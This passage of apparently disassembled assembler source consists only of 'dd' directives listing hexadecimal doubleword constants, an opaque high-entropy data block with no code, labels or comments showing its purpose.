		dd 50440AA0h, 0C90750CCh, 0BC60A03Ch, 2635C77Dh, 5F2808C6h
		dd 0E30C8C7h, 0AAAA4090h, 97036D49h, 338ACE05h,	0EFAA0EEEh
		dd 0A3F20874h, 1984FE0Fh, 0D917B02Dh, 0AB7FBEDh, 757E8467h
		dd 2D3B225h, 0A9CB10CEh, 91417625h, 0AAFA2724h,	0F9C6E9E4h
		dd 0EC16E39Ah, 90DBF3BBh, 92F11658h, 62098731h,	77E031D7h
		dd 0D2DD527h, 2BA994Fh,	270562C6h, 53F8413Fh, 3E91F4ABh
		dd 0BF77235Ch, 0C977A290h, 0BF4CFB63h, 0D8C5320Fh, 66326586h
		dd 52EC90C4h, 9F7D199Fh, 270F2F39h, 6EF5397Fh, 640AC951h
		dd 0A9D9FA7h, 0F2BD2315h, 92094005h, 0C22E99EFh, 6CC21563h
		dd 61198BFFh, 888CB2E6h, 6E4B6388h, 8A175A19h, 0D6627DA9h
		dd 0D9F7C7ADh, 0EEAA9E7Fh, 565E0764h, 0A06D41D8h, 0AC30A264h
		dd 5D5F67D5h, 45392109h, 18671A86h, 0CC51B182h,	6A3D354Ch
		dd 9FA358B4h, 1F5529ADh, 8C055F63h, 3DE2C930h, 0B800FE41h
		dd 780F0966h, 9E02145Dh, 0EAC9377h, 0EFC19490h,	0FC1BB6CCh
		dd 0ACAD3C36h, 8D9C2600h, 1D8AF9FBh, 6240C47Ch,	0BCBE2DBDh
		dd 16A80168h, 662F1893h, 2D383141h, 501FD374h, 0AD83B91Dh
		dd 82413D75h, 510C155Bh, 45BEC96Eh, 0AFBA008Fh,	0DFEC620Ch
		dd 0AA28E73Dh, 0F376837Eh, 0ACCE115Fh, 3CCA6FE8h, 0F7EE00B7h
		dd 74B6A652h, 3996E6BCh, 0EA7B057Bh, 0FEFFAF10h, 2C19EB44h
		dd 0FFBA6FA0h, 53FC206Eh, 0E7BB5170h, 448A74A9h, 0F3B47E9h
		dd 0E3EF347h, 359119Dh,	0DE497391h, 5F464DF2h, 1A131FCAh
		dd 1C6BF328h, 4EDB3E22h, 785BEBB5h, 963011AEh, 0CE41C611h
		dd 0A2FBCC4Dh, 565DB818h, 6CC6073Bh, 7C06ECD5h,	8458386Fh
		dd 56316F5Ch, 0B0FD63C5h, 7128D2BBh, 7CEC4C2Fh,	90100813h
		dd 3265B433h, 0FFBA5BDFh, 0BC7EF61Dh, 0A2E79E34h, 0F0A330Ch
		dd 439D5995h, 8F1E3A0Fh, 693D1A33h, 5064637Ah, 0BB05B12Ah
		dd 98722BA9h, 424D1A40h, 2A84F297h, 0D120A264h,	805D5577h
		dd 0E0775E6h, 0C49C67Ah, 55E8F6E7h, 7BA4549Fh, 4FAD7177h
		dd 1BBE6667h, 393A6985h, 0E802691h, 0E9AEFE43h,	0AB3F52C8h
		dd 0A5F3B80Eh, 57F37A97h, 94404A32h, 4B8AABC9h,	837D30D1h
		dd 0BF6C5B2Fh, 6636D474h, 0F8FF2763h, 0E00EA85Ah, 6E3A705Dh
		dd 5A00ECA7h, 746AAAF5h, 0E9A25A22h, 0F887F310h, 3CBAC0BEh
		dd 31230161h, 17432409h, 712820ADh, 0CA093A7Ch,	4AAA8407h
		dd 4EE9628Dh, 8823D3DEh, 5A119CB3h, 6D716095h, 7713A42h
		dd 4581370Dh, 0CD583365h, 7E9CDFCDh, 4D23F962h,	22E5EE71h
		dd 0D5EBB273h, 0F2B2615Ch, 0F1D9B11Eh, 99B94893h, 717A3006h
		dd 85CD1D7Ch, 34EA7EB4h, 0EF7DDE44h, 71BA51DEh,	0C2E8B46Dh
		dd 7C626F8Ah, 44DBB575h, 370EE41Fh, 0B2AAB38Eh,	425D2B05h
		dd 0BCE5F041h, 33A1DCDCh, 0DFF90D6Dh, 0A3E9E017h, 0DE8036E3h
		dd 29D912C9h, 3EB75A7Eh, 0F66B0BDCh, 163B22B3h,	0BEBF2DE8h
		dd 0B0867A52h, 92FE2662h, 0DABBB93Ch, 92CCEA8Ah, 685BCBCh
		dd 0F1E499Dh, 3D3264BBh, 0C38B49B3h, 7172AD2Fh,	43ED7EA1h
		dd 4AAE5CABh, 0ECDBD333h, 0BFF23268h, 286E7D3Dh, 5CC6DD9Fh
		dd 0E7C80301h, 0E8E04D69h, 3EA5506h, 0B9F3F7F5h, 0ECE993C5h
		dd 8FF70492h, 14860B71h
		dd 38FE8B76h, 2A31F0E0h, 0A7BEA8B4h, 0F0093DC4h, 79CC40F0h
		dd 96362EBBh, 0B32BE9ACh, 9CF7C564h, 9B0A0CCEh,	0E7CCF883h
		dd 91A31772h, 11FC5FCBh, 3F14806h, 6D1C0397h, 26E1333h
		dd 27CE8ED1h, 5EFEFDF9h, 0B0637FC2h, 76A66B9Ah,	0BF46AA26h
		dd 0D4222DEFh, 0F017CA62h, 84B8CE26h, 943454D6h, 46222D81h
		dd 739037C2h, 0ACEF3D49h, 6F664CC8h, 0FF80E2FDh, 0BA15F854h
		dd 0A97AFAA9h, 7532E539h, 0AF28A22h, 1449E30Ch,	0C7AC00A8h
		dd 9109B7B2h, 191731FAh, 4201007Eh, 2993B5Fh, 661363B1h
		dd 0BF5A30CCh, 8622FC42h, 0D78D059Eh, 725B5614h, 0AC6231Bh
		dd 0B3A0E0C2h, 0AFA72334h, 8330A457h, 51BE50EAh, 160A0E99h
		dd 0BBA0B8FEh, 0C8EE63E6h, 5432D11Ch, 9D156E6Ah, 6C9BDFAh
		dd 72A95C73h, 0B5EE0BC8h, 0F34D52DDh, 0EB8416CDh, 0AE6C6A7Ah
		dd 6AFA0E7Dh, 0AE2AAC4Eh, 0CF933D0Fh, 0D5E7A93Ah, 7098377Dh
		dd 8A9B20CCh, 4AEDEC47h, 8EEE3049h, 5543E1D2h, 0C6B936E2h
		dd 96D9ACE3h, 35A22BBDh, 207B555Ch, 25C3B21Fh, 0ECE4A8B4h
		dd 1B20BDEBh, 23D329Dh,	6458725Fh, 2A2DBD49h, 5FA062BDh
		dd 1999B442h, 7E92EEBDh, 699910A1h, 4AF9AACBh, 4092F06Bh
		dd 0A77E5967h, 6780276Ah, 4FFF45BEh, 7B1C6242h,	5E5A89E5h
		dd 0B15D6477h, 0EB9664B8h, 5B648EC0h, 92F03173h, 24294456h
		dd 0AFEB5E91h, 9D60E04Dh, 2EA6C7B3h, 7D3E5F8Eh,	5AC6F8B2h
		dd 0A4A2707h, 37B8AC0h,	5633CE2Eh, 77FAA4A8h, 76BF8022h
		dd 48A15C0Ch, 5CC95BEh,	19EC0EE3h, 5600F9F9h, 8A360C77h
		dd 9B93FFF5h, 1062E6B5h, 421DCEBEh, 60A0C1C1h, 23F39575h
		dd 42920D62h, 45F0013Eh, 6B6A71D3h, 12B882ADh, 0D162F6E9h
		dd 715D3F5Eh, 201EA90Eh, 9F55F3E6h, 0BBA1791Ah,	0C43A5A69h
		dd 9420FF62h, 56BBE7EAh, 6106C79Ah, 58F6E8CBh, 3D8B00F2h
		dd 0E2887F26h, 0E2B8BB6Dh, 340CDD2Ah, 2F1EAD67h, 0D23D062Ch
		dd 17AE1A15h, 0A2FB71ADh, 8E388507h, 2FFD75EEh,	850328ACh
		dd 2C291CDh, 3044B0D9h,	6D1BAC40h, 85FF1FB3h, 0BD56BF88h
		dd 6F222765h, 0A394AC57h, 0C8A95F7Ah, 6F768E4h,	4685727Fh
		dd 82094DDFh, 0D1D56C71h, 0A347F63Eh, 0A33FBE3Eh, 0CD55E191h
		dd 1330A36Ch, 6F9332C2h, 77E0FA11h, 4FCDC399h, 486EA824h
		dd 1E12DEEBh, 49C15CFEh, 0C3E02503h, 0B105A8B4h, 183D07E9h
		dd 23B7942Fh, 0D6CFEAFEh, 8232EAC8h, 0C48B8004h, 4EDCC36Bh
		dd 7BDEC64Bh, 0D09EFF65h, 0D3E865A6h, 4F24442Bh, 0AFCE0340h
		dd 4A51D1B9h, 0BC0FC03h, 0BBF22D57h, 5F1E20B0h,	30250FCDh
		dd 0FAFF2A4Dh, 0B3E7F312h, 94B1727Ah, 0C1C2E1B1h, 6F7BAD82h
		dd 3197BE7h, 0FCAC4551h, 4E2B246Dh, 47520387h, 1F48516Dh
		dd 404E4D5Dh, 9B1D992Dh, 7A73057Ah, 0D5ECC252h,	0C3D7124h
		dd 82F02D42h, 0BC95F1E8h, 1A534D4Fh, 2016E544h,	8DF3C33Ch
		dd 233D3D62h, 2BAA56C0h, 6E2EA09Dh, 0E6BB23F6h,	47FB3011h
		dd 9D86D455h, 0EF9C33EEh, 39AE5A36h, 771829C2h,	95C27B85h
		dd 0DDB80312h, 0EE7DD95Ah, 903326C7h, 0B1514471h, 0B07D5A81h
		dd 7E48C2Bh, 0A2C61E2Ah, 9FCED0D7h, 1262426Ah, 0E1F5AA66h
		dd 3798F320h, 0E8F29ACDh, 1DA415EBh, 9B86A44Fh,	4AA62D97h
		dd 0FE3FF7DEh, 0BBBA8F85h, 0D0F1C6DDh, 0AB81F91Fh, 2DD8133Eh
		dd 0E360C72h, 5F6E807Ch, 0F2071A6h, 1C2D26CFh, 4F073097h
		dd 6897D243h, 5C198202h, 33BB44BBh, 42E24886h, 96B3D35Bh
		dd 9265026Bh, 0DB2AF794h, 59036EA6h, 4CD11A0Eh,	65011B24h
		dd 0E363E82Bh, 875DC63Bh, 3EDA9A3Fh, 0BF0E27B7h, 1E98AB08h
		dd 5A2EFEC0h, 6D5B6D3Bh, 0FE2A0016h, 668ACCB6h,	4932F599h
		dd 4336F0A3h, 0FE09CD74h, 0F4544141h, 0FA7001E2h, 1736D400h
		dd 0A86929A3h, 18EBFCCDh, 6BF50C54h, 54FAB3FFh,	3FFC61B0h
		dd 43D8A663h, 7905E3DCh, 0F518B0BDh, 0B92D53EAh, 63886128h
		dd 0CA5B8F4Bh, 0BC59C5A0h, 3E5BD7A4h, 0C26BB527h, 382EAF65h
		dd 11AD0B8Fh, 90F3525Ah, 211B022Dh, 5B5339BDh, 9B074841h
		dd 0B2F341D8h, 6B00A8B9h, 43FC93E9h, 0B2538CE1h, 6E97C0A6h
		dd 5F7E2E77h, 7924B5DAh, 5D21FE01h, 572E820Ah, 472F643Ch
		dd 6CF2C552h, 0A41A441Ch, 0B8FDC829h, 49B03428h, 6EDCE918h
		dd 0CD7649h, 0C879C7Bh,	0FA35379h, 4C4414B3h, 59297CCBh
		dd 45E6EC5Ch, 6592EA1Dh, 9D08355Bh, 0B700F992h,	9188B6C9h
		dd 0FC81365Ah, 8A6FD55Dh, 0DB7CF9A3h, 0F165E509h, 61733847h
		dd 4DEFD5DBh, 3082687Bh, 0A332A4BDh, 0C3C53C3Bh, 0AE12E4A5h
		dd 55E0E1A4h, 0F052A544h, 0C4005274h, 0F15C6D1Ah, 2FFE9D75h
		dd 65B9606Ch, 0D90AA539h, 4EDA1CDh, 64841340h, 0BD6ADCDCh
		dd 25C5022Eh, 2E7F8708h, 0BD573B38h, 0F04E4A26h, 617CAE4h
		dd 9E3611A1h, 653E755h,	3D980DCBh, 0DC381905h, 0A6EFA9A1h
		dd 33893F11h, 0D424CB57h, 91ABF824h, 1B70ACACh,	463C6F15h
		dd 0CF804A7Fh, 243FB9A5h, 0A231AEB7h, 3E86F765h, 0E521BA4h
		dd 0DA22A192h, 0F68F6E3Ah, 0A2DAF82Bh, 4F52409Dh, 8119277Dh
		dd 0A02229CCh, 9B34234Dh, 10469EBFh, 19320A43h,	2B5501BFh
		dd 7F62699Dh, 0AD75138Dh, 52A6E4Ch, 1A86364Fh, 8B6C9D77h
		dd 0AB512FFDh, 3C4904ADh, 242700h, 8A0D5AB4h, 395D2974h
		dd 98FA0C9Dh, 761317F5h, 244F40BFh, 0A300C471h,	32F52207h
		dd 6277A2A4h, 1101BB38h, 2DF175C4h, 7454A402h, 27D6F78Bh
		dd 0BCD46D48h, 0B8168F20h, 0A74EA095h, 9D4FAFCEh, 0ACBD38A9h
		dd 6F7E2672h, 3632CB19h, 0D29EBC99h, 0CA15BD19h, 0B9A8ACB4h
		dd 0C23A67B2h, 33597B0Eh, 9823C947h, 69A92AA6h,	7D11322Ch
		dd 551B9EAFh, 10EE3054h, 0BBDB12CEh, 975EDC76h,	0AF5A5EA3h
		dd 2291754h, 26F73596h,	4A59FBB7h, 54683BE7h, 970FE51Fh
		dd 0EB15F549h, 0BD74134Ah, 0AE287CD5h, 4350C11Bh, 0B59611D0h
		dd 313E01EDh, 0AE0344ADh, 97E8CFEDh, 69FBBA25h,	9EC10E0Bh
		dd 0EA2B0FA8h, 0BDDF2B13h, 1FAC1825h, 1829C979h, 0C7ED3253h
		dd 0ADD32770h, 9215F241h, 0B749BE06h, 0D2A9C9A5h, 0E4D0537Bh
		dd 0AEE3ACCEh, 46AC1D9Ah, 0A8D1CE25h, 2CD42EF1h, 0B37AD42Ch
		dd 7BFEADB5h, 9BDB0155h, 0B6A63FC1h, 0BFAB012Bh, 677A3C21h
		dd 94E04635h, 9F7141BCh, 0F511F220h, 1F187DE7h,	0FB8599EBh
		dd 2A4B339Dh, 7A596C41h, 5B624F4Bh, 1C60D1C6h, 90407C38h
		dd 9EFBEC84h, 724D2B24h, 522EB19Bh, 0A54D5946h,	0DADD1311h
		dd 0ED0A903Ch, 0AAE01B71h, 631A4DB3h, 7D44E2FCh, 9E010C69h
		dd 9C726138h, 0B82F190Ch, 77377710h, 0C457069Eh, 0DC8DC522h
		dd 2FCA2DC9h, 7ED08E61h, 78C26E4Dh, 0BC49ABCDh,	5E66A999h
		dd 1A379245h, 0BA582CE9h, 371E4B56h, 49803843h,	6FA6A980h
		dd 0BEA7A4Dh, 0BC9A4DE1h, 0A321EE01h, 7F7CF467h, 9D7EC407h
		dd 0D7DEC995h, 2222331h, 1EDEB1A8h, 581A0D19h, 6B6D1DDBh
		dd 77AB0D78h, 44EB0E54h, 7831EFF8h, 0D771C3E1h,	0BE33EA9Fh
		dd 6D34A946h, 9BB5B591h, 0D076557Ah, 0A23F8447h, 7EA9570Ch
		dd 0D7F93975h, 0D8BA1874h, 0FA71FDA1h, 42BF9EB5h, 72BA9BDCh
		dd 25F6E113h, 1B15E428h, 0D68E3963h, 75CB9EA7h,	386D7F79h
		dd 0D515F6FFh, 0F6A2015h, 0B7F15F14h, 1AEE6EB5h, 0A151B8E8h
		dd 0AC30DC57h, 50AE4860h, 48B42863h, 1068185Ch,	93913753h
		dd 6D2D3592h, 89B831E0h, 0AE1C05D0h, 5D209FACh,	0E2191308h
		dd 77C8BB49h, 2A7F7594h
		dd 0D1DA342Fh, 6CA0570Ah, 15F9675Eh, 0E5970234h, 6936B8F0h
		dd 0C2FACF67h, 9401AE21h, 0C336CEBCh, 48673D06h, 71FCEA24h
		dd 7D489D42h, 423203E8h, 3FECFD79h, 0F793B33Fh,	0DFA28E4Dh
		dd 9CA6A894h, 0BFB2F3AAh, 0D645CDE0h, 0FBB2685Dh, 54036EBFh
		dd 963B491Ch, 5D413611h, 0A2E9AA3h, 1E058A61h, 0C4E355AFh
		dd 4269494Fh, 4AC45E16h, 2F00A40h, 228AB85h, 3E295886h
		dd 711C10B8h, 0F0B1E810h, 0A5427804h, 0AD3E5C2h, 22296978h
		dd 6E31101h, 20D1E14Dh,	5218F162h, 0E00E574Bh, 0D5234EB6h
		dd 0BD84758Fh, 5EBEB1DFh, 82BEF550h, 0D581DDD9h, 5A10C055h
		dd 4706530Eh, 97854C09h, 4425661Ch, 0A1A43741h,	5E8E20C2h
		dd 0C2AF2B1h, 5D2FB0h, 0A0580498h, 344115AAh, 57C1E384h
		dd 0C33A047Eh, 0B82BFCC7h, 0BEF41301h, 0B9D2C3FDh, 2AFCBC7Bh
		dd 0A2FA1274h, 9E015361h, 6B7EA36Ch, 20F3593h, 8822C435h
		dd 5A357101h, 6355D5CDh, 0BD8918F3h, 0D432000Fh, 0AEADA65Fh
		dd 85E82C28h, 4612CEB2h, 3CBC6358h, 404CA514h, 632C583Dh
		dd 2A45C94h, 0FCDE8604h, 3B224842h, 0C2690550h,	93215C9Fh
		dd 8BFAC867h, 0AED50D01h, 0AC9F2AF5h, 5A46FC72h, 41C3FEB5h
		dd 591958EAh, 76D2CBD6h, 6EFE06CDh, 8237C043h, 81F0ED38h
		dd 0B457E97Ah, 0ACD8B673h, 26E99456h, 0A28FE3D8h, 5E8A0957h
		dd 51F6DD38h, 5C32A849h, 4A88F174h, 1DC4F17Ch, 8282056Eh
		dd 0B20E0AA1h, 0E3103671h, 55034482h, 0AAEC45A6h, 0DED0A5h
		dd 9F3ADA22h, 0C2F2D510h, 0FBB23CD8h, 0C4210D57h, 0A1D18E68h
		dd 57E8E18Ah, 61B80C24h, 650C905h, 47C7D079h, 47CAE38h
		dd 7CDE2B45h, 621A370Ch, 4F7C3589h, 0E31FAA0Bh,	5CFF1960h
		dd 0DDC01FF8h, 0C89537A9h, 8ACF28FCh, 418EB4E0h, 75E7E643h
		dd 7181957Ch, 7724C7A8h, 0A422C529h, 66EBC42Fh,	1BDE31FEh
		dd 604B3ABCh, 0D2981927h, 385A63CBh, 0D6D78301h, 0BB01187Eh
		dd 1C2839CEh, 1CA3E339h, 2D01ABBEh, 6D49B79Fh, 5512A94Dh
		dd 0C7D306BDh, 0F80D84D8h, 0A6D85C4Ch, 0EA7AC8Eh, 5C0C74D6h
		dd 23CFCD39h, 0A17BA6F8h, 55DA4C95h, 86E9F299h,	3D599D63h
		dd 0CFCD0390h, 1503BAE3h, 16650A3Ch, 0A2FF9EC9h, 92E0814Ch
		dd 0CCEC985Fh, 0DD9AAEF2h, 0B316C148h, 678E2C74h, 8A1961D6h
		dd 87A6A6A8h, 4AD95FDEh, 0B65B5FC4h, 41B0A53Ah,	3CEE051Bh
		dd 812AD1FAh, 2D4D9423h, 12607EF0h, 0B6C4FBF0h,	20096942h
		dd 4069ADB6h, 0EFFF5CB9h, 267232A4h, 8E76FB41h,	0ADB4C473h
		dd 40DBE210h, 0B54E9C20h, 29BD83h, 329DB543h, 9ED3B809h
		dd 374F889Dh, 7FB53E48h, 2AF14CCh, 2D5AD844h, 0D13E79h
		dd 0FD76A2B5h, 9DFD52B7h, 9209C1E4h, 64596B13h,	51C1616h
		dd 21FE4BA7h, 0D807343Ch, 2F20F85Dh, 86FF4D71h,	0B535335Dh
		dd 6116AE3Bh, 0EB36DAA5h, 1A62A29Dh, 0D0A1813Ch, 0BD17C03Eh
		dd 9D1F1C2h, 0C896B540h, 2340C77Ah, 0EB6F3965h,	52BEB5A2h
		dd 1B0A3D51h, 3D2D2FFEh, 57BBEC7Dh, 2D50F50Ch, 8B4A061Ch
		dd 7A743643h, 87E96FC0h, 41F66B01h, 0B35986DCh,	0EE40DC01h
		dd 70BEBB67h, 2AAD4B0Eh, 5FE39D30h, 46BF6508h, 0D96D1AE5h
		dd 3059C272h, 72A62932h, 926AE3D3h, 0E1CF86DCh,	25CD2C4Fh
		dd 670BA070h, 56D70281h, 0BE492E3Ch, 0F231AF5h,	87D7E11Bh
		dd 63DE4AA4h, 0F119CE74h, 0BC553374h, 0ECDFA21Ah, 70AEBA07h
		dd 601A5363h, 82EF281Fh, 12C5D63h, 2F54AF09h, 3538731Fh
		dd 0EE33E5Ah, 0B3802653h, 0A159F16Dh, 0BDEF28CEh, 35E62206h
		dd 3E3B846Ah, 3EC07F23h, 0C7EC0221h, 1C7C3271h,	7DFB5C5Ch
		dd 0DB3CED3Fh, 0BC27A8EFh, 4DA00D51h, 93371960h, 9BB487A0h
		dd 5A034E11h, 0AE64A14Eh, 643EAE71h, 853D2B63h,	1F70C4E9h
		dd 47EC807Bh, 27EDFC15h, 5EBC74B9h, 74F727B2h, 362229ABh
		dd 9FA98C56h, 0A7D5198Bh, 253515C3h, 991AF0FCh,	0CEC2C450h
		dd 0EADF733h, 3AB5767Bh, 56F933F1h, 32EE7A08h, 0AB02C9E6h
		dd 665C994h, 6A1FDB8Bh,	71BE11DAh, 5EAB009Dh, 9F2054Bh
		dd 2F7E8A95h, 0C86EB94Dh, 857AB262h, 0D5B04934h, 5F2D436h
		dd 86AF8991h, 0D9DC80EAh, 0ED84C762h, 5A2EED06h, 0C3E871A2h
		dd 835671CDh, 0C5944E2Eh, 7B7D690h, 400C8EA1h, 3352F423h
		dd 84465558h, 1039A0FBh, 8B2FE6Dh, 0AB3EAB76h, 6FBA7321h
		dd 1A2F43E5h, 0F106E2Ch, 0BB48C0B6h, 0F2B15583h, 1945A4ADh
		dd 5B38DF71h, 0D1E34B82h, 0C3CAB6Ch, 0B7AB13F7h, 6E5338F6h
		dd 1DE5577Bh, 0BA8E9136h, 3F2A4A49h, 22A5304Bh,	202ACFCFh
		dd 2DC35D59h, 0AA4DC06Ah, 744CEF3Fh, 45DB055Ch,	4A5ECB83h
		dd 97D3080Fh, 33F8ED79h, 7684F160h, 1DBE6608h, 1E812527h
		dd 1B04924Dh, 601B322Fh, 4F0B86F1h, 0EDA5F12Dh,	0E0C3A396h
		dd 374920B5h, 3568A53Dh, 0BCDB3F1h, 0A0E4EB53h,	344F49E7h
		dd 0B1E3E496h, 0BE90EB28h, 7DE3EE5Eh, 4B694085h, 6D549EDh
		dd 0D7FEAE42h, 0FE0B0D88h, 8724A5D4h, 0C56C46Ch, 0A6BC4D49h
		dd 39E6526Ah, 3FC42C08h, 3A62C0F9h, 0D665B10Eh,	665B737Ch
		dd 2447FFE9h, 0E4FAA7B5h, 0D1E9991Dh, 5B8A1461h, 75583545h
		dd 64B2FEC6h, 0FCA9E831h, 2EF3022h, 0A401F9D1h,	0F303062h
		dd 0B26D9F0Dh, 97A5A85h, 0A704FF3Ah, 9CE73903h,	5DE6AF4Fh
		dd 2EE600DDh, 3AA3D49h,	0C28FE7DEh, 8CCB03B8h, 24947243h
		dd 0A28D3E3Ch, 445D0685h, 5A4BE2E4h, 0BEED6D75h, 652B5F1Ch
		dd 0D0041EF5h, 55F61501h, 9DF6E8EAh, 0D8BBF17Eh, 8232350Dh
		dd 73124234h, 55212935h, 203331FEh, 1283CC41h, 0D0D4206Ch
		dd 937EC0BEh, 0FFEC2F86h, 0A8074C5Ah, 9B8D3954h, 60BE67B9h
		dd 0AB7400D9h, 0B90E4DC5h, 7834136Fh, 0E6EFF196h, 0BC02B0E1h
		dd 0B62EB259h, 520D7AD0h, 3A21F85Ch, 1C8CF0F9h,	24D1585Ah
		dd 35E020Eh, 0AC72E5ADh, 0AB7A89DEh, 0E20D7C16h, 3CEF8E45h
		dd 5CCBA7F4h, 9F8D7EB8h, 1EB8C99Ah, 562121A0h, 0EB26D2B8h
		dd 4A2A71BBh, 3A252927h, 91705BB6h, 0E863160Ah,	3B23EA91h
		dd 71084BBCh, 4D2EB0F4h, 0FBEBE7Dh, 3C543CB5h, 0D60824EEh
		dd 0BFCDA3DBh, 0BC31B30Eh, 0B4067F24h, 0EEBB58Eh, 55050CA9h
		dd 0F3BBEE1h, 18E84832h, 0BCA4B34Ch, 649BAA0Fh,	0A1CCE1A3h
		dd 0BF22D226h, 0B559DE91h, 499C583Ah, 1C364682h, 88DDA7A9h
		dd 531181EDh, 0A7D1334Dh, 619D06A0h, 0DBABD968h, 274257B2h
		dd 25F8DD54h, 0C691BBAEh, 0DE8A95E5h, 0FCFFD8ABh, 6395FC2Ch
		dd 2C5B47F7h, 5BBB4BFEh, 0BAF27234h, 0DC17CEB7h, 0CDAEC428h
		dd 14822ACEh, 47325576h, 43C4B829h, 8214E10Ch, 80711B30h
		dd 0E2DC37CEh, 1F05F922h, 0DC6957FDh, 0FA377ABFh, 93841D3Fh
		dd 0BF16E3ECh, 9A95156h, 53591E68h, 0E9C8BAh, 0A64435C1h
		dd 0C94ABC51h, 4C221202h, 0A7243041h, 8F8298CCh, 1D983BBDh
		dd 0EF909E03h, 0D7AB2961h, 0DF6A9B11h, 5B0F5E49h, 0ADD8513Ah
		dd 72272D67h, 7A00505Ah, 58F24FC2h, 36C15D13h, 21FE7EBDh
		dd 45BB950Eh, 9E9D39F7h, 0A372B43Ch, 983BAD19h,	3E4E67A3h
		dd 4131A764h, 42D523B1h, 0E435BBCh, 0E65BFFBCh,	335D30ECh
		dd 0E223F77Ah, 2A0219B4h, 2B949663h, 623D6135h,	4FE6A0E9h
		dd 5D8736F1h, 0AD4C655Ah, 0D25DEC6Fh, 5B1ECB6Fh, 0C0210DFDh
		dd 0EE84D7C6h, 68B7F47Ah, 9F952DC8h, 107B4771h,	0B17D3C3Ch
		dd 0AFE21C38h, 8AB575F2h, 2DD7466Ch, 73F440Ch, 1F0D329Dh
		dd 4CF62478h, 1AB8A9D4h
		dd 221498C1h, 26A354A2h, 0FFBA015Ch, 0DEA0F57Fh, 0AE0E784Ch
		dd 5829FC48h, 0ED121ADDh, 54E9C045h, 2EE8EB9Eh,	852E0D05h
		dd 1C5A89BEh, 0B88339CBh, 3F5E37A4h, 0C0D43968h, 0FF66227Fh
		dd 1F3632EFh, 2E08B1DCh, 0BC21FE5Dh, 0E4FC9E96h, 0D7A35BA7h
		dd 4EDC206Ch, 0F6B94ABDh, 8ACA8346h, 2F4FF73h, 6105643Ah
		dd 0CEF952B5h, 866EA2A5h, 3F134947h, 0DA362B40h, 9C733043h
		dd 0E218E0D4h, 5A95F53Dh, 0DEC51473h, 0A6F04962h, 5E8A6940h
		dd 2DB7F1D8h, 1FC63EBh,	88E9A920h, 0ECBFF344h, 5D64A87Dh
		dd 57779052h, 6ED9AEBAh, 0FE068942h, 212CC87Ch,	173F3385h
		dd 56132B2Ah, 2F3E072Bh, 0F2BD0AB7h, 4389AC1h, 44FA36BDh
		dd 9D4A193Ah, 382FB6C1h, 7BFDFD4Bh, 243191D3h, 8515007Bh
		dd 5A440348h, 1A1D0843h, 29F86875h, 17405A25h, 0C843492Ch
		dd 0DD77B05Eh, 5ED6EBC6h, 45F4FA79h, 1EDECD6Ah,	0EFFE0E51h
		dd 0C22715E0h, 53DCF221h, 0F20800A1h, 0C040A328h, 3A0306CFh
		dd 5F07EE5Ch, 8D0E67F0h, 535B55C0h, 4C89845Bh, 6E59BFA6h
		dd 452D6263h, 99BE3DDDh, 9727A75Eh, 0B3D1B41h, 0F619F865h
		dd 74AE2AC1h, 9561EAF7h, 0DDE773A5h, 7C5820D5h,	0AA8AD0ADh
		dd 7CE1D45h, 70C6693Bh,	83EDFA7Dh, 0E53C1A9Ah, 494DD0Dh
		dd 0EC46BFA2h, 0F6044378h, 57E8A8D6h, 84B18F99h, 0B262B491h
		dd 86684BA2h, 3A52961Dh, 0A4D401Ch, 0DAD10F24h,	23EB285Dh
		dd 1C4043F3h, 0E7A6C46Eh, 0FF9FC976h, 0A675BB57h, 8F200E9Dh
		dd 70FC65C7h, 0BC184807h, 7AC684E9h, 608D016Dh,	3F2DE10Fh
		dd 570C63Bh, 2389A8CEh,	303751C1h, 4C22CC5Bh, 1A23AF46h
		dd 4DBC53E8h, 18C7DDB9h, 66DD3EB4h, 24F9087Ah, 52DADD61h
		dd 0A188A371h, 5148DDEEh, 61CE2364h, 28DAAE62h,	411DB51Ah
		dd 0B97C879Dh, 0B802AD7Dh, 476CA1B9h, 37418798h, 0BB59E2E2h
		dd 5EC6F642h, 674CC32Eh, 384E9149h, 0F2331A06h,	55BFAE2h
		dd 0FE9F1AD8h, 895930BDh, 88D5B32Eh, 62CC57FFh,	75C6836Ch
		dd 2D6C0714h, 4F3E9619h, 479F4C06h, 98683405h, 0BAC7C3F2h
		dd 15EC18EFh, 4503AC1Eh, 6D1461FEh, 50FABD9Dh, 0F432AA35h
		dd 0BEC53382h, 0E8A3755h, 4B1643CEh, 5CDB12B5h,	7D552ABDh
		dd 4C4A0CF1h, 590A0375h, 0BCDA89BFh, 4A3CBFB6h,	0BF1E5E3Ah
		dd 0CA23104Dh, 0F3CDFAFFh, 0EFD90E88h, 713D7140h, 0C36D5F52h
		dd 0AB4D1163h, 4FDB6A9Dh, 24757FAEh, 0E0EC16B3h, 8BFDEBACh
		dd 0E3BAE664h, 377B271Eh, 438E3D37h, 242FA4A3h,	6B6411B1h
		dd 0F3FE2A3h, 0B6BD2246h, 0E209E065h, 7B114A29h, 0BCC4E3F3h
		dd 5810586Dh, 0C9F935B7h, 0E2A06A4h, 3045A1B5h,	173F4013h
		dd 0D7B6A9B8h, 5CFC19A5h, 0ADC6716Ah, 0A4E61887h, 62D03E59h
		dd 9EB18827h, 0E700209Dh, 14DECA54h, 0A21778DDh, 0D3311E35h
		dd 56C2E0C3h, 12B78A92h, 9E5E2679h, 25F00629h, 0AA082C86h
		dd 0A83F2D3Bh, 0B93533D7h, 6765EF0Ch, 0B6BA39E4h, 0E822EA24h
		dd 765E1327h, 7EF26229h, 54410D50h, 5608DF4Dh, 16EA0404h
		dd 19C8ECBAh, 38A50EBEh, 0DD1DC19Dh, 7E75DF52h,	9EC136B9h
		dd 9CB61B15h, 0BF30F953h, 0CBFE1D56h, 0C7285451h, 690FDB4Eh
		dd 7083EB91h, 424819B0h, 5D3D79Dh, 98B9F724h, 0DB1FD39Ah
		dd 4C7BBC5h, 408C6039h,	0A1259315h, 8289A5A1h, 66CE759Eh
		dd 383AF108h, 86CA246h,	8EC5FCADh, 5AF7AD70h, 0E8196B23h
		dd 18090F35h, 9D8237A3h, 96C62EADh, 0AEAE1F5Fh,	6845D338h
		dd 0AE93E63Dh, 0A91707B9h, 4C985975h, 67E5127Ah, 0F83F4A3h
		dd 7AF4F6D3h, 0E3B8A7BDh, 0B41322F6h, 925963A3h, 9BDF558Fh
		dd 0CB9E709Dh, 216C6338h, 0B034C900h, 0E3847375h, 498ED930h
		dd 742B24B3h, 0A2BB07A5h, 0B92B5825h, 0A33B2C26h, 47029F45h
		dd 8562509Ah, 6161B47Dh, 0C1A7D4Ch, 483505B9h, 0BB384A11h
		dd 63154F29h, 128447A4h, 9D120B8Bh, 0BA279935h,	51D2BE4Ah
